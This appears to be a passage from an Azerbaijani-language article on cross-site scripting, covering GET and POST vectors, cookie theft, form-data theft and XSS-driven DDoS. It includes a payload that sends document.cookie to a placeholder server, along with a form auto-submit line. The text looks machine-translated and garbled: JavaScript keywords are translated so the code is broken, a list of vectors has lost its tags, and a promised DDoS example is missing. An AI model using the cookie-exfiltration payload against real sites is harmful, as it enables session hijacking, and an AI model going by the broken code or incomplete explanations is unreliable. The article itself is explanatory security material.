    Bundan əlavə, həm POST, həm də GET parametrləri passiv zəifliyə həssas ola bilər. POST parametrləri ilə, əlbəttə ki, hiylələrə əl atmalı olacaqsınız. Məsələn, təcavüzkarın saytından yönləndirmə.

    document.getElementsByTagName("forma").submit();

    Buna görə də, GET zəifliyi bir az daha təhlükəlidir, çünki... Qurbanın səhv domeni fərq etməsi əlavə parametrdən daha asandır (baxmayaraq ki, url ümumiyyətlə kodlaşdırıla bilər).

    Kukiləri Oğurlamaq

    Bu, XSS hücumunun ən çox istinad edilən nümunəsidir. Veb saytlar bəzən kukilərdə bəzi qiymətli məlumatları (bəzən hətta istifadəçinin loqini və parolunu (və ya onun heşini)) saxlayır, lakin ən təhlükəlisi aktiv sessiyanın oğurlanmasıdır, ona görə də vebsaytlarda “Çıxış” linkinə klikləməyi unutmayın. , ev kompüteri olsa belə. Xoşbəxtlikdən, əksər resurslarda sessiyanın ömrü məhduddur.

    Var img = yeni Şəkil(); img.srс = "http://site/xss.php?" + sənəd.cookie;

    Buna görə də XMLHttpRequest-də domen məhdudiyyətləri tətbiq etdilər, lakin bu, təcavüzkar üçün problem deyil, çünki , , fon:url(); və s.

    Formalardan məlumatların oğurlanması

    Biz formanı, məsələn, getElementById vasitəsilə axtarırıq və onsubmit hadisəsinə nəzarət edirik. İndi, formanı təqdim etməzdən əvvəl daxil edilmiş məlumatlar da təcavüzkarın serverinə göndərilir.

    Bu tip hücum bir qədər fişinqi xatırladır, yalnız o, saxta saytdan çox real saytdan istifadə edir ki, bu da qurbana daha çox inam yaradır.

    DDoS hücumu (paylanmış xidmətdən imtina hücumu)

    Çox ziyarət edilən resurslarda XSS zəifliyindən DDoS hücumuna başlamaq üçün istifadə edilə bilər. Mahiyyət sadədir - hücuma məruz qalan serverin dözə bilməyəcəyi çoxlu sorğular var.
    Əslində, XSS ilə əlaqə dolayıdır, çünki skriptlər ümumiyyətlə istifadə olunmaya bilər, belə bir tikinti kifayətdir:

    XSS təhlükələri nələrdir?

    Saytınızı XSS-dən necə qoruya bilərsiniz? Kodunuzu zəifliklər üçün necə yoxlamaq olar? Sucuri Firewall kimi bu cür hücumların qarşısını almaq üçün xüsusi olaraq hazırlanmış texnologiyalar var. Ancaq bir tərtibatçısınızsa, XSS zəifliklərini necə müəyyənləşdirmək və azaltmaq barədə daha çox öyrənmək istəyəcəksiniz.

    Bu barədə XSS ilə bağlı məqalənin növbəti hissəsində danışacağıq.